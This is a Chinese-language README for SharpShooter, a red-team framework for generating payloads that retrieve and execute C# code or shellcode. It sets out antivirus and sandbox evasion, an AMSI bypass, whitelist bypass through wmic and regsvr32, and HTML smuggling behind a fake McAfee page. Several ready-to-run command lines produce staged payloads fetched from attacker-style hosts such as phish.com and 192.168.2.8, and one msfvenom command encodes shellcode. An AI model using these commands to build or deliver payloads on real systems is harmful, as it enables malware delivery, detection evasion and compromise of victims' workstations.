Payload 生成框架
_____ __ _____ __ __
/ ___// /_ ____ __________ / ___// /_ ____ ____ / /____ _____
\__ \/ __ \/ __ `/ ___/ __ \\__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/
___/ / / / / /_/ / / / /_/ /__/ / / / / /_/ / /_/ / /_/ __/ /
/____/_/ /_/\__,_/_/ / .___/____/_/ /_/\____/\____/\__/\___/_/
/_/
SharpShooter 是一个用于检索和执行任意 CSharp 源代码的有效载荷生成框架。 SharpShooter 能够创建多种格式的有效载荷,包括 HTA、JS、VBS 和 WSF。它利用 James Forshaw 的 DotNetToJavaScript 工具来调用 SharpShooter DotNet 序列化对象中的方法。有效载荷可以通过 Web 或 DNS 交付,或两者同时进行;SharpShooter 兼容 MDSec ActiveBreach PowerDNS 项目。此外,也可以为相同的脚本格式生成带有嵌入式 shellcode 执行的无阶段有效载荷。
SharpShooter 有效载荷使用随机密钥进行 RC4 加密,以提供一定程度的防病毒规避能力,并且该项目包含了集成沙箱检测和环境密钥绑定的能力,以帮助规避检测。
SharpShooter 包含一个预定义的 CSharp 模板,用于执行阶段性和无阶段性有效载荷的 shellcode,但任何 CSharp 代码都可以通过反射编译并在内存中调用,这得益于 CSharp 的 CodeDom 提供程序。
最后,SharpShooter 提供了使用 Demiguise HTML 走私 技术将有效载荷捆绑到 HTML 文件中的能力。
SharpShooter 针对 .NET 框架的 v2、v3 和 v4 版本,这些版本在大多数最终用户的 Windows 工作站上都可以找到。
SharpShooter 1.0 版本引入了几个新概念,包括 COM 分段、Squiblydoo 和 Squiblytwo 的执行,以及 XSL 执行。为了实现这些新功能,添加了几个新标志:--com、--awl 和 --awlurl。
SharpShooter 2.0 版本添加了 AMSI 绕过模块,以及生成 VBA 和 Excel 4 宏文档的支持。
更多信息请参阅 MDSec 博客文章。
SharpShooter 高度可配置,支持多种有效载荷类型、沙箱规避方式、交付方法和输出类型。
使用 --help 参数运行 SharpShooter 将输出以下内容:
usage: SharpShooter.py [-h] [--stageless] [--dotnetver <ver>] [--com <com>]
[--awl <awl>] [--awlurl <awlurl>] [--payload <format>]
[--sandbox <types>] [--amsi <amsi>] [--delivery <type>]
[--rawscfile <path>] [--shellcode] [--scfile <path>]
[--refs <refs>] [--namespace <ns>] [--entrypoint <ep>]
[--web <web>] [--dns <dns>] [--output <output>]
[--smuggle] [--template <tpl>]
optional arguments:
-h, --help show this help message and exit
--stageless Create a stageless payload
--dotnetver <ver> Target .NET Version: 2 or 4
--com <com> COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote
--awl <awl> Application Whitelist Bypass Technique: wmic, regsvr32
--awlurl <awlurl> URL to retrieve XSL/SCT payload
--payload <format> Payload type: hta, js, jse, vba, vbe, vbs, wsf
--sandbox <types> Anti-sandbox techniques:
[1] Key to Domain (e.g. 1=CONTOSO)
[2] Ensure Domain Joined
[3] Check for Sandbox Artifacts
[4] Check for Bad MACs
[5] Check for Debugging
--amsi <amsi> Use amsi bypass technique: amsienable
--delivery <type> Delivery method: web, dns, both
--rawscfile <path> Path to raw shellcode file for stageless payloads
--shellcode Use built in shellcode execution
--scfile <path> Path to shellcode file as CSharp byte array
--refs <refs> References required to compile custom CSharp,
e.g. mscorlib.dll,System.Windows.Forms.dll
--namespace <ns> Namespace for custom CSharp,
e.g. Foo.bar
--entrypoint <ep> Method to execute,
e.g. Main
--web <web> URI for web delivery
--dns <dns> Domain for DNS delivery
--output <output> Name of output file (e.g. maldoc)
--smuggle Smuggle file inside HTML
--template <tpl> Name of template file (e.g. mcafee)
下面提供了一些用例示例:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
创建一个针对 .NET 框架版本 4 的无阶段 JavaScript 有效载荷。此示例将在输出目录中创建一个名为 foo.js 的有效载荷。shellcode 从 ./raw.txt 文件中读取。 该有效载荷尝试通过将执行绑定到 CONTOSO 域并检查已知的沙箱/VM 工件来实现沙箱规避。
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
创建一个针对 .NET 框架版本 2/3 的无阶段 HTA 有效载荷。此示例将在输出目录中创建一个名为 foo.hta 的有效载荷。shellcode 从 ./raw.txt 文件中读取。 该有效载荷尝试通过检查已知的虚拟 MAC 地址来实现沙箱规避。同时还会在输出目录中生成一个名为 foo.html 的 HTML 走私有效载荷。该有效载荷将使用示例 McAfee 病毒扫描模板。
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
此示例创建一个同时执行 Web 和 DNS 交付的阶段性 VBS 有效载荷。该有效载荷将尝试检索一个 GZip 压缩的 CSharp 文件,该文件执行在 csharpsc.txt 文件中以 CSharp 字节数组形式提供的 shellcode。使用的 CSharp 文件是内置的 SharpShooter shellcode 执行模板。有效载荷在输出目录中创建,文件名为 foo.payload,应托管在 http://www.foo.bar/shellcode.payload 上。同一文件还应使用 PowerDNS 托管在 bar.foo 域上以提供服务。VBS 文件将尝试将执行绑定到 CONTOSO 域,并使用 McAfee 病毒扫描模板通过 HTML 走私技术嵌入到 HTML 文件中。最终有效载荷存储在输出目录中,文件名为 foo.html。
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee
此示例演示如何创建一个执行 Web 交付的阶段性 JS 有效载荷,从 http://www.phish.com/implant.payload 检索有效载荷。生成的有效载荷将尝试沙箱规避,并尝试编译检索到的有效载荷,这需要 mscorlib.dll 和 System.Windows.Forms.dll 作为 DLL 引用。编译成功后,将执行 MDSec.SharpShooter 命名空间中的 Main 方法。
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl
此示例创建一个被走私的 VBS COM 分段器,该分段器使用 Outlook.CreateObject() COM 方法作为原语来执行 wmic.exe 以执行托管的样式表。--awl 参数默认未使用,但默认为 wmic。
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
此示例创建一个被走私的 HTA 文件,该文件使用 XMLDOM COM 接口检索并执行托管的样式表。
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
此示例创建一个 VBA 宏文件,该文件使用 XMLDOM COM 接口检索并执行托管的样式表。
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
此示例创建一个执行所提供 shellcode 并将其包装在 HTML 中的 Excel 4.0 SLK 文件。 Shellcode 不能包含空字节,提示:
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
作者:Dominic Chell,MDSec ActiveBreach @domchell 和 @mdseclabs
致谢: